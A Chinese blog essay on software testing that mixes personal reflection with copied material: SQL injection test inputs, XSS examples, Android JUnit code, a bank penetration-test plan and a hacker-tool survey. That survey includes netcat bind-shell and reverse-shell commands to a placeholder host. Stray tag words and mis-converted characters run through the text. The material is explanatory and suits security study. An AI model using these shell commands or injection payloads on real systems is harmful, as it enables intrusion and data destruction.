細談測試---個人啓示錄

    小時候對測試不很重視,好比讓你作一件事,你會考慮其風險,別的因素嗎。當你埋頭只顧本身寫軟件代碼,發佈軟件,就完事啦。但事實並不是如此,對方說你的網站有漏洞,或者軟件註冊碼容易破解,這些你並不知道。跟客戶打交道,客戶不是說作完項目就完事啦,每每要一個月維護。或者測試一下。意外的狀況也不少,這些你絕對沒想到。軟件的bug如何產生的,在你寫以前就產生。人的思惟並不是絕對的。每每是相對的,人們總喜歡自覺得是,"I,M GOOD......"但測試離不開實踐,不犯錯誤是不可能的。 javascript

        

軟件測試就像給人診斷




軟件測試的過程其實很像給人看病的過程 java

首先,你看到一我的的症狀的時候,就是看到了這個bug,
而後經過這個bug能夠聯想到某種病
經過對於這個種病的聯想
你能夠查看有關這種病的關聯性bug是否在這我的的身上也都存在,
若是這種病的關聯性的bug都存在
那麼就能夠很確定的說,這我的是得了這個病。


。。。。
當修復了這個bug以後,


你應該把有關這個病的全部bug都驗證一遍,

而且最好把全身都檢查一遍,以確保沒有影響到整我的 linux

軟件測試就像是向上帝禱告 程序員

你究竟有罪沒有,牧師有時會問你有沒有罪,求上帝寬恕 web

按照上帝說:「世人皆有罪,惟有上帝是潔淨的」 面試

軟件產品代碼bug,是存在的。 sql

軟件測試就像測試人生 shell

如,一個故事----我爲何沒升職 數據庫


到公司 工做快三年了,比我後來的同事陸續獲得了 升職的機會,我卻原地不動,內心頗不是滋味。終於有一天,冒着被解聘的危險,我找到老闆理論。

「老闆,我有過遲到、早退或亂章違紀的現象嗎?」我問。 編程

老闆乾脆地回答「沒有」。

那是公司對我有偏見嗎?」老闆先是一怔,繼而說「固然沒有。」

「爲何比我資歷淺的人均可以獲得重用、而我卻一直在微不足道的崗位上?」

老闆一時語塞,而後笑笑說:「你的事我們等會再說,我手頭上有個急事,要不你先幫我處理一下?」

一家客戶準備到公司來考察產品情況,老闆叫我聯繫他們,問問什麼時候過來。

「這真是個重要的任務。」臨出門前,我不忘調侃一句。

一刻鐘後,我回到老闆辦公室。

「聯繫到了嗎?」老闆問。

「聯繫到了,他們說可能下週過來。」

「具體是下週幾?」老闆問。

「這個我沒細問。」

「他們一行多少人。」

「啊!您沒問我這個啊!」

「那他們是坐火車仍是飛機?」

「這個您也沒叫我問呀!」

老闆再也不說什麼了,他打電話叫朱政過來。

朱政比我晚到公司一年,如今已經是一個部門的負責人了,他接到了與我剛纔相同的任務。

一下子功夫,朱政回來了。

「哦,是這樣的一一」

朱政答道:「他們是乘下週五下午3點的飛機,大約晚上6點鐘到,他們一行5人,由採購部王經理帶隊,我跟他們說了,我公司會派人到機場迎接。另外,他們計劃考察兩天時間,具體行程到了之後雙方再商榷。爲了方便工做,我建議把他們安置在附近的國際**,若是您贊成,房間明天我就提早預訂。還有,下週天氣預報有雨,我會隨時和他們保持聯繫,一旦狀況有變,我將隨時向您彙報。」

朱政出去後,老闆拍了我一下說:「如今咱們來談談你提的問題。」

「不用了,我已經知道緣由,打攪您了。」

我忽然明白,沒有誰生來就擔當大任,都是從簡單、平凡的小事作起,今天你爲本身貼上什麼樣的標籤,或許就決定了明天你是否會被委以重任。

能力的差距直接影響到辦事的效率,任何一個公司都迫切須要那些工做積極主動負責的員工。

優秀的員工每每不是被動地等待別人安排工做,而是主動去了解本身應該作什麼,而後盡心盡力地去完成。


測試就是感悟人生,沒有最好,只有更好。

下面談談對軟件,網站的項目測試


SQL注入測試用例

Drop table.  Guess table name and drop it, note the next flowing SQL language

Select * from A where A.a = ‘testdata’; drop table A---’;

2.  2.    If a field only allow number, give it a String or others

3.     Use ‘OR 1=1’, get all records in query function

Select * from A where A.a = ‘testdata’ OR ‘1’=’1’;

4.   3.    In login function, give user name field like ‘username’--’, 「--’ and A.password = ‘’」 is commented

Select * from user A where A.username =  ‘username’--’ and A.password = ‘’;

 

5.  4.     Adding records function, if there is 4 fields in this table, add 5 fields, eg.

Normal: Insert into table A values(‘’,’’,’’,’’);

Test Data: Insert into table A values(‘’,’testdata’,’’,’’,’’);

6.  5.    Input test data in or out of this field data 

7.  6.    Add single quotation marks and semicolon, and break off string splicing, this is similar with point 4

Update table A set A.a = ‘testdata’;--

Yellow partis test data we input 


網站安全測試

web測試--安全性:
(1)表單驗證
(2)sql注入
(3)跨站點攻擊

(1)表單驗證
對所輸入的用戶名 密碼 郵箱@ 手機號(11位)進行驗證

(2)sql 注入
若是攻擊者的登陸的用戶名和密碼分別是: 空格or 1=1# 密碼是 空
select * from users where username=' or 1=1#’ and password=md5('')
在sql中#是註釋語
等價與
select * from users where username=' or 1=1
1=1是 true
 簡單說來就是
select * from users
這樣就能夠從數據庫中提出全部的用戶的信息

(3)跨站點攻擊

XSS跨站腳本攻擊的分類

反射型XSS跨站腳本攻擊

源碼變成了「<p>歡迎您, <script>alert(/個人名字是張三/)</script>!</p>」,從源代碼中咱們發現,用戶輸入 的數據中,<script>與</script>標籤中的代碼被瀏覽器執行了,而這並非網頁腳本程序想要的結果。這個例子正是 最簡單的一種XSS跨站腳本攻擊的形式,稱之爲反射型XSS。

存儲型XSS跨站腳本攻擊

存儲型XSS腳本攻擊最爲常見的場景就是在博客或新聞發佈系統中,黑客將包含有惡意代碼的數據信息直接寫入文章或文章評論中,全部瀏覽文章或評論的用戶, 都會在他們客戶端瀏覽器環境中執行插入的惡意代碼。如流行的Bo-Blog程序的早期版本中存在對用戶提交評論數據過濾不嚴致使的XSS跨站腳本攻擊漏 洞,黑客能夠在文章評論中提交插入惡意數據的UBB代碼,提交後,Bo-Blog程序會將數據保存至數據庫中,當用戶瀏覽該日誌時,就會執行插入的惡意代 碼,
基於DOM的XSS跨站腳本攻擊。

Android項目應用測試


測試的種類
  在開發過程當中,任什麼時候間段均可以參與測試,這取決於採用何種測試方案。可是,咱們推薦測試 工做在項目開發早期就介入,甚至能夠在完整需求出來以後、剛開始開發的時候就開始作準備。
  基於被測對象的不一樣,有好幾種不一樣的測試方法。可是不管採用哪一種測試方法, 測試用例都包含執行條件和執行結果,執行結果返回True或者False來表示用例是否正確。
     單元測試
   單元測試,指的是程序員在開發階段寫的測試用例。這種測試用例須要將被測對象獨立隔離起來,也就是mock掉外部關聯對象。單元測試用例應用是能夠重複執行的。這也是爲何咱們常把單元測試和mock對象關聯在一塊兒。由於你要經過mock對象來模擬外部交互從而達到隔離被測對象的目的。固然,這樣的用例能夠重複執行任何次數。例如,假設你要從 數據庫中刪除某些數據,可是下一次執行這個用例時這些數據還須要用,所以不想這些數據真正被刪除,這時候mock數據庫的返回,僞裝數據已經刪除成功了。
   Junit是約定俗成的標準單元測試框架。它是一個簡單、開源的自動化單元測試框架,由ErichGamma和KentBeck兩位做者建立。
   Android要用Junit 3。這個版本沒有註釋,而是經過內部自查來感知測試用例的。一個典型的Junit測試用例寫法如框1.1中所示的代碼,其中測試方法用高亮度顯示:
     Junit測試代碼樣例
/**
* Android Application Testing Guide
*/
package com.example.aatg.test;
import JUnit.framework.TestCase;
/**
* @author diego
*/
public class MyUnitTests extends TestCase {
private int mFixture;
/**
* @param name test name
*/
public MyUnitTests(String name) {
super(name);
}
/* (non-Javadoc)
* @see JUnit.framework.TestCase#setUp()
*/
protected void setUp() throws Exception {
super.setUp();
mFixture = 1234;
}
/* (non-Javadoc)
* @see JUnit.framework.TestCase#tearDown()
*/
protected void tearDown() throws Exception {
super.tearDown();
}
/**
* Preconditions
*/
public void testPreconditions() {
}
/**
* Test method
*/
public void testSomething() {
fail("Not implemented yet");
}
}
  若是你購買了Packt書,能夠訪問http://www.PacktPub.com,在我的帳戶中下載樣本源代碼。若是你是從其餘地方購買的書,能夠訪問http://www.PacktPub.com/support來註冊用戶,而後咱們將源碼文件直接發E-mail給您。
  。案例
  測試套件
  測試套件是個爲人熟知的名詞,它表示執行用例的標準流程模式。每一個測試用例都用同一套標準流程。所以,它也是測試用例設計的基礎。
  一般狀況下,按照Android的約定,它由一系列成員變量構成。一般以m開頭,如: mActivity。可是,它也有一些擴展數據,做爲數據庫和文件系統操做的特殊入口。
   2.setUp方法
  這個方法是用來初始化測試套件用的。
  經過重載這個方法,你能夠新建對象,初始化元素。在每一個測試用例執行以前,這個SetUp方法都會執行一次。
   3.tearDown方法
  tearDown方法是在測試套件中最後執行的函數。
  在測試用例執行過程當中,會初始化一些對象,這些對象能夠在tearDown函數中進行銷燬。由於tearDown函數是每一個測試用例最後必須執行的,是銷燬對象的最佳階段。
  好比:你能夠在tearDown中釋放掉數據庫鏈接以及網絡鏈接。
  Junit設計的流程是這樣的:首先,將整個庫的用例都編譯完。而後,在第二階段再執行測試用例。所以,在測試執行過程當中,執行器對全部用例都有強依賴。也就是說,對於那些用例不少、耗時很長的用例來講,在全部用例完成以前,是不會對變量、對象進行回收的。這點在 Android測試中特別重要,由於在某些設備上測試失敗的緣由不是由於固有的邏輯問題,而是由於用例執行太多致使資源不足了。

  所以,在Android應用中,你若測試使用了額外的、有限的資源,好比Services服務或者contentProvides,那麼,你應該注意要及時釋放掉。在tearDown方法中,嚴格遵照將對象設置成null的規則,以便及時回收,避免一直佔用資源,一直到全部用例跑完才釋放。

滲透測試

銀行網站測試


銀行是網絡信息技術應用最密集、應用水平最高的行業之一,基於計算機網絡的各種銀行信息系統已經成爲銀行產品的開發推廣、銀行業務的展開、銀行平常管理和決策的所依賴的關鍵組成部分。這種依賴性使得銀行面臨着因爲網絡信息系統自己所帶來的銀行信息技術風險。

  銀行信息技術風險的主要挑戰來自於基礎網絡信息技術的複雜性和變化,其中面對互聯網主要有如下幾個方面風險:

  基於網絡的電子銀行,須要有完善的安全體系架構;

  面向Internet的銀行業務面臨着各類各樣的互聯網威脅;

  遠程移動用戶接入和內部用戶接入Internet,均可能引入不一樣類型的威脅源;

  釣魚網站對於銀行網上業務和企業信譽的損害。

  伴隨銀行業務的發展,原有的網上銀行、門戶網站等都進行了不一樣程度的功能更新和系統投產,同時,行內系統安全要求愈來愈高,可能受到的惡意攻擊包括:信息篡改與重放、信息銷燬、信息欺詐與抵賴、非受權訪問、網絡間諜、「黑客」入侵、病毒傳播、特洛伊木馬、蠕蟲程序、邏輯炸彈等。這些攻擊徹底能形成信息系統癱瘓、重要信息流失。

  2、滲透測試的目標

  本項目經過滲透測試的方式,模擬黑客的攻擊思路與技術手段,達到如下目標:

  從攻擊者角度,發現網銀系統、信用卡網站、門戶網站和中間業務等應用系統及網關入口設備存在的安全隱患;

  檢測對外提供服務的業務系統(如網銀系統、信用卡網站、門戶網站等)以及行內重要業務系統的威脅防護能力。

  深度挖掘滲透測試範圍內應用系統各個層面(應用層、網絡層、系統層)的安全漏洞;

  檢驗當前安全控制措施的有效性,針對發現的安全風險及時進行整改,加強系統自身防護能力,提高安全保障體系的總體健壯性。

  3、滲透測試原則與風險控制原則

  遵循規範

  滲透測試經過可控的安全測試技術對限定範圍內的應用系統進行滲透測試,同時結合如下業界著名的測試框架組合成最佳實踐進行操做:

  ISECOM制定的開源安全測試方法OSSTMM-v2.2

  開放Web應用安全項目OWASP-v3

  風險控制

  滲透測試過程最大的風險在於測試過程當中對業務產生影響,爲此咱們在實施滲透測試中採起如下措施來減少風險:

  ● 雙方確認

  進行每一階段的滲透測試前,必須得到客戶方的書面贊成和受權。對於任何滲透測試的對象的變動和測試條件的變動也都必須得到雙方的贊成並達成一致意見,方可執行。

  ● 工具選擇

  爲防止形成真正的攻擊,在滲透性測試項目中,啓明星辰會嚴格選擇測試工具,杜絕因工具選擇不當形成的將病毒和木馬植入的狀況發生。

  ● 時間選擇

  爲減輕滲透性測試對用戶網絡和系統的影響,安排在不影響正常業務運做的時間段進行,具體時間主要限制雙方協調和商定的時間範圍內。

  ● 範圍控制

  啓明星辰承諾不會對受權範圍以外的網絡設備、主機和系統進行漏洞檢測、攻擊測試,嚴格按照滲透測試範圍內限定的應用系統進行測試。

  ● 策略選擇

  爲防止滲透性測試形成用戶網絡和系統的服務中斷,啓明星辰在滲透性測試中不使用含有拒絕服務的測試策略,不使用未經許可的方式進行滲透測試。

  ● 操做過程審計

  爲保證測試過程可審計,啓明星辰將在測試過程當中開啓測試工具的審計日誌功能,階段性測試目標測試結束後,會將審計日誌提交用戶,以便用戶監控測試過程。

  ● 項目溝通

  啓明星辰建議:在項目實施過程當中,除了肯定不一樣階段的測試人員之外,還要肯定各階段的客戶方配合人員,創建雙方直接溝通的渠道;項目實施過程當中須要客戶方人員同時在場配合工做,並保持及時、充分、合理的溝通。

  ● 系統備份和恢復措施

  爲避免實際滲透測試過程當中可能會發生不可預知的風險,所以在滲透測試前相關管理人員應對系統或關鍵數據進行備份、確保相關的日誌審計功能正常開啓,一旦在出現問題時,能夠及時的恢復運轉。

黑客測試工具


1、Nessus
  是掃描UNIX漏洞的主力工具,隨後棲身 Windows。主要功能包括本地和遠程安全審查,支持client/server結構,具備GTK圖形界面,並支持腳本語言編寫插件。屬免費開源。
  2、Wireshark
  提及Wireshark,不得不提Ethereal,Ethereal和Windows的sniffer pro並稱網絡嗅探工具雙雄,不過和sniffer pro不一樣的是Ethereal在 Linux類系統中應用更爲普遍。而Wireshark則是Ethereal後續版本,是在Ethereal被收購後推出的最新網絡嗅探軟件,是功能強大的網絡數據捕獲工具,可分析網絡數據流量,在第一時間發現蠕蟲病毒,木馬程序以及ARP欺騙等問題的根源。
  3、Snort
  Snort免費跨平臺,用做監視小型TCP/IP網的嗅探器、日誌 記錄、侵入探測器。可運行linux/UNIX和Win,snort有三種 工做模式:嗅探器、數據包記錄器、網絡入侵檢測系統。
  嗅探器模式是snort從網絡上讀出數據包而後顯示控制檯上。例如要把TCP/IP包頭信息打印在屏幕上,須要輸入命令:snort -v
  4、Netcat
  netcat被譽爲‘瑞士軍刀',一個簡單有用的工具,透過使用TCP或UDP協議的網絡鏈接讀寫數據。它被設計成一個穩定的後門工具,是一個功能強大的網絡調試和探測工具。
  1)例子:連到192.168.x.x的TCP80端口的命令:nc -nvv 192.168.x.x 80
  2) 監聽本機的TCP80端口: nc -l -p 80
  3) 掃描192.168.x.x的TCP80到TCP445的全部端口: nc -nvv -w2 -z 192.168.x.x 80-445
  4)  綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口REMOTE主機綁定 SHELL: nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
  5)REMOTE主機綁定SHELL並反向鏈接,例如:綁定REMOTE主機的CMDSHELL並反向鏈接到192.168.x.x的TCP5354端口的命令:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
  6)做攻擊程序用,例子:鏈接到192.168.x.x的80端口,並在其管道中發送'c:\exploit.txt'內容:
  格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
  格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
  7)做蜜罐用,例子:使用'-L'(注意L是大寫)能夠不停地監聽某一個端口,直到ctrl+c爲止
  格式:nc -L -p 80
  5、Metasploit Framework
  是一個編寫、 測試和使用exploit代碼的完善環境。這個環境爲滲透測試,shellcode編寫和漏洞研究提供了一個可靠的平臺,這個框架主要是由面向對象的Perl編程語言編寫的,並帶有由C語言,彙編程序和 Python編寫的可選組件。Metasploit Framework 做爲一個緩衝區溢出測試使用的輔助工具,也能夠說是一個漏洞利用和測試平臺。它集成了各平臺上常見的溢出漏洞和流行的shellcode,而且不斷更新,使得緩衝區溢出測試變得方便和簡單。
  6、Hping2
  Hping2:一種網絡探測工具,是ping的超級變種,這個小工具能夠發送自定義的ICMP,UDP和TCP數據包,並接收全部反饋信息。例如能夠設置時間間隔,數據包發送的頻率(-i uX X爲微秒),命令爲:hping2 192.168.0.1 -c 2 -i u1000
  7、Kismet
  Kismet是一個基於Linux的無線網絡掃描程序,一個至關方便的工具,經過測量周圍無線信號找到目標WLAN。當Kismet開始運行時,將會顯示這個區域內它找到全部的無線局域網,「Name」列中所顯示出來的就是WLAN中AP的SSID值,開始設定的目標WLAN也應該包含中其中,在這一行中,CH列的值(AP所使用的頻道)應該與開始所記下的相同。在窗口的最右邊顯示的信息是Kismet發現的WLAN的數目,已被捕捉下來了的數據包、已加密了的數據包的數目等等。甚至當目標計算機已關閉時,Kismet也正可從咱們的目標AP中檢測到數據包,這是由於目標AP在不停地發出「beacons」,它將告之擁有無線網卡的計算機有一個AP在此範圍內。
  8、Tcpdump
  基於linux 的TcpDump能夠將網絡中傳送的數據包的「頭」徹底截獲下來提供分析。它支持針對網絡層、協議、主機、網絡或端口的過濾,並提供and、or、not等邏輯語句來幫助你去掉無用的信息。tcpdump就是一種免費的網絡分析工具,尤爲其提供了源代碼,公開了接口,所以具有很強的可擴展性,對於網絡維護和入侵者都是很是有用的工具。
  9、Cain and Abel
  是一款Windows平臺下的口令恢復工具。它經過採用多種方式來恢復多種口令,採起方式包括:嗅探網絡,使用字典、暴力、密碼分析方法破解解密口令,記錄VoIP會話,解碼混雜口令,恢復無線網絡密鑰,揭示口令框中輸入的口令(星號查看),披露緩衝口令和分析路由協議。這個工具沒有利用任何軟件漏洞或缺陷,它利用了協議標準、認證方法和緩衝機制自己存在的安全問題以及內在的弱點,其主要目的是簡單地恢復多種程序的口令和憑證。該軟件由兩部分組成:Cain和Abel。Cain(Cain.exe)是程序的主圖形界面,Abel是一個Windows服務,由文件Abel.exe和Abel.dll組成。
  10、John the Ripper
  用於在已知密文的狀況下嘗試破解出明文的破解密碼軟件。目前的最新版本是 JOHN 1.4 版, 主要支持對 DES、 MD5 兩種加密方式的密文進行破解工做。它能夠工做於多中不一樣 的機 型 以及多種不一樣的 操做系統
  11、Ettercap
  Ettercap最初設計爲交換網上的sniffer,可是隨着發展,它得到了愈來愈多的功能,成爲一款有效的、靈活的中介攻擊工具。它支持主動及被動的協議解析幷包含了許多網絡和主機特性(如OS指紋等)分析。Ettercap有5種sniffing工做方式:
  (1)IPBASED:基於IP地址的sniffing方式,Ettercap根據源IP-PORT和目的IP-PORT來捕獲數據包。
  (2)MACBASED: 基於MAC地址的方式,Ettercap將根據源MAC和目的MAC來捕獲數據包。
  (3) ARPBASED : 基於ARP欺騙的方式下,Ettercap利用ARP欺騙在交換局域網內監聽兩個主機之間的通訊(全雙工)。
  (4) SMARTARP: 在SMARTARP方式下,Ettercap利用ARP欺騙,監聽交換網上某臺主機與全部已知的其餘主機(存在於主機表中的主機)之間的通訊(全雙工)。
  (5) PUBLICARP : 在PUBLICARP方式下,Ettercap利用ARP欺騙,監聽交換網上某臺主機與全部其它主機之間的通訊(半雙工)。
  12、Nikto
  Nikto 是一款開放源代碼的、功能強大的 WEB掃描評估軟件,能對web服務器多種安全項目進行測試的掃描軟件,能在230多種服務器上掃描出 2600多種有潛在危險的文件、CGI及其餘問題,它能夠掃描指定主機的WEB類型、主機名、特定目錄、COOKIE、特定CGI漏洞、返回主機容許的 http模式等等。它也使用LibWhiske庫,但一般比Whisker更新的更爲頻繁。Nikto是網管安全人員必備的WEB審計工具之一。
  十3、Ping/telnet/dig/traceroute/whois/netstat:最基本的安全命令。
  十4、OpenSSH / PuTTY / SSH
  SSH(Secure Shell)如今廣泛應用於登陸遠程計算機或在其上執行命令。爲不安全網絡上的兩臺不互信計算機間通信提供安全加密,代替很是不可靠的telnet/rlogin/rsh交互內容。大多unix使用開源的OpenSSH服務器和客戶端程序。Windows用戶更喜歡免費的PuTTY客戶端,也能夠運行在多種 移動設備上。還有一些windows用戶喜歡使用基於終端的OpenSSH模擬程序Cygwin。
  十5、THC Hydra
  若是某人須要暴力破解一個遠程認證服務,Hydra常常會是選擇對象。它能夠同時對30個以上的端口進行基於字典的快速破解,包括telnet、ftp、http、https、smb、多種 數據庫及其它服務。和THC Amap同樣,Hydra來自於民間組織THC。
  十6、Paros proxy
  proxy是架設在攻擊者的 瀏覽器和目標網站中間,全部的要求和迴應都會被送到,藉此駭客得以仔細研究這些封包資訊,包括在網頁傳送中的、變數,並能夠修改這些變數後再送出。proxy功能齊全,具有網站弱點掃描和偵測能力,對一些常見的網頁應用程序攻擊,均可進行檢測,甚至可以檢測出不安全的網頁組件。
  十7、Dsniff
  Dsniff是一個高級的口令嗅探器,是第一批擴展了傳統Sniffer概念的監聽工具,將製造的數據包注入網絡,並將通訊數據從新定向到攻擊者的機器。在這種方式下,Dsniff容許攻擊者在交換環境的網絡內竊聽數據,甚至在攻擊者和攻擊目標不在同一個Lan,也能使攻擊者收集到想要的數據。支持telnet 、ftp、smtp、pop、imap、http應用協議。十8、NetStumbler
  NetStumbler 是一款專門用來尋找無線AP的工具,是目前最流行的無線搜尋工具。開啓後能自動顯示附近探測到的無線AP,並能顯示這些無線AP的SSID、MAC地址、頻段、速度、是否加密等信息。值得一提的是,NetStumbler能夠顯示設置了隱藏SSID的無線AP,在軟件界面中能夠看到該AP的綠燈在不斷閃爍。在樹狀結構中列出了各頻段檢測到的無線AP。因爲NetStumbler進行全面掃描,因此附近無線AP將盡收眼底。由於它是美國人開發的,因此只能檢測1~11之間的11個頻段,而國內無線頻段分爲13個頻段,12~13頻段的無線AP將沒法搜尋到。
  十9、THC Amap
  它能夠檢測出某一端口正在被什麼程序監聽。由於其獨有的version detection特性,因此其數據庫不會象Nmap同樣變得很大,在Nmap檢測某一服務失敗或者其它軟件不起做用時能夠考慮使用之。Amap的另外一特性是其可以解析Nmap輸出文件。這也是THC貢獻的另外一款頗有價值的工具。
  二10、GFI LANguard
  企業網絡漏洞管理的三大主要問題:網絡掃描、網絡審計和補丁管理。GFI LANguard Network Security Scanner (N.S.S.) 是一項屢獲殊榮的解決方案,可以掃描、檢測、評估和修復網絡中的任何安全漏洞。做爲管理員您常常須要處理各類不一樣的問題,有時會使用多種產品分別處理與網絡漏洞、補丁管理和網絡審計相關的問題。使用 GFI LANguard N.S.S.,漏洞管理的三大主要問題能夠經過帶有豐富報告功能的單個控制面板得以解決。
網頁通用測試

好比 有一個登錄頁面, (假如上面有2個textbox, 一個提交按鈕。 請針對這個頁面設計30個以上的testcase.)

  此題的考察目的: 面試者是否熟悉各類 測試方法,是否有豐富的 Web測試經驗, 是否瞭解Web開發,以及設計Test case的能力
  這個題目仍是至關有難度的, 通常的人很難把這個題目回答好。
  首先,你要了解用戶的需求,好比這個登陸界面應該是彈出窗口式的,仍是直接在網頁裏面。對用戶名的長度,和密碼的強度(就是是否是必須多少位,大小寫,特殊字符混搭)等。還有好比用戶對界面的美觀是否是有特殊的要求?(便是否要進行UI測試)。剩下的就是設計用例了 ,等價類,邊界值等等。
  請你記住一點,任何測試,無論測什麼都是從瞭解需求開始的。
   功能測試(Function test)
  0. 什麼都不輸入,點擊提交按鈕,看提示信息。(非空檢查)
  1.輸入正確的用戶名和密碼,點擊提交按鈕,驗證是否能正確登陸。(正常輸入)
  2.輸入錯誤的用戶名或者密碼, 驗證登陸會失敗,而且提示相應的錯誤信息。(錯誤校驗)
  3.登陸成功後可否可否跳轉到正確的頁面(低)
  4.用戶名和密碼,若是過短或者太長,應該怎麼處理(安全性,密碼過短時是否有提示)
  5.用戶名和密碼,中有特殊字符(好比空格),和其餘非英文的狀況(是否作了過濾)
  6.記住用戶名的功能
  7.登錄失敗後,不能記錄密碼的功能
  8.用戶名和密碼先後有空格的處理
  9.密碼是否加密顯示(星號圓點等)
  10.牽扯到驗證碼的,還要考慮文字是否扭曲過分致使辨認難度大,考慮顏色(色盲使用者),刷新或換一個按鈕是否好用
  11.登陸頁面中的註冊、忘記密碼,登出用另外一賬號登錄等連接是否正確
  12.輸入密碼的時候,大寫鍵盤開啓的時候要有提示信息。
   界面測試(UI Test)
  1.佈局是否合理,2個testbox 和一個按鈕是否對齊
  2.testbox和按鈕的長度,高度是否複合要求
  3. 界面的設計風格是否與UI的設計風格統一
  4. 界面中的文字簡潔易懂,沒有錯別字。
   性能測試(performance test)
  1.打開登陸頁面,須要幾秒
  2.輸入正確的用戶名和密碼後,登陸成功跳轉到新頁面,不超過5秒
   安全性測試(Security test)
  1.登陸成功後生成的Cookie,是不是httponly (不然容易被腳本盜取)
  2.用戶名和密碼是否經過加密的方式,發送給Web服務器
  3.用戶名和密碼的驗證,應該是用服務器端驗證, 而不能單單是在客戶端用javascript驗證
  4.用戶名和密碼的輸入框,應該屏蔽 SQL注入攻擊
  5.用戶名和密碼的的輸入框,應該禁止輸入腳本 (防止XSS攻擊)
  6.錯誤登錄的次數限制(防止暴力破解)
  7. 考慮是否支持多用戶在同一機器上登陸;
  8. 考慮一用戶在多臺機器上登陸
   可用性測試(Usability Test)
  1. 是否能夠全用鍵盤操做,是否有快捷鍵
  2. 輸入用戶名,密碼後按回車,是否能夠登錄
  3. 輸入框可否能夠以Tab鍵切換
   兼容性測試(Compatibility Test)
  1.主流的瀏覽器下可否顯示正常已經功能正常(IE,6,7,8,9, Firefox, Chrome, Safari,等)
  2.不一樣的平臺是否能正常 工做,好比 Windows, Mac
  3.移動設備上是否正常工做,好比Iphone, Andriod
  4.不一樣的分辨率
  本地化測試 (Localization test)
  1. 不一樣語言環境下,頁面的顯示是否正確。
  軟件輔助性測試 (Accessibility test)
  軟件輔助功能測試是指測試軟件是否向殘疾用戶提供足夠的輔助功能
  1. 高對比度下可否顯示正常 (視力很差的人使用)

最後的測試,老闆會檢測你對公司的忠誠度,會不會給你重任,你確定面臨這一測試,不然你幹不下去啦。

test,test

其實測試無處不在,好比進入婚姻聖殿前,妻子會對你進行婚姻忠誠度測試,還有牧師的表白。。。。。

你也將又面臨一項測試。

好累呀。


I don't know who hold tomorrow

耳邊響起徐志摩的詩《再別康橋》

悄悄的來我又悄悄的走了。

adiOS
相關文章
相關標籤/搜索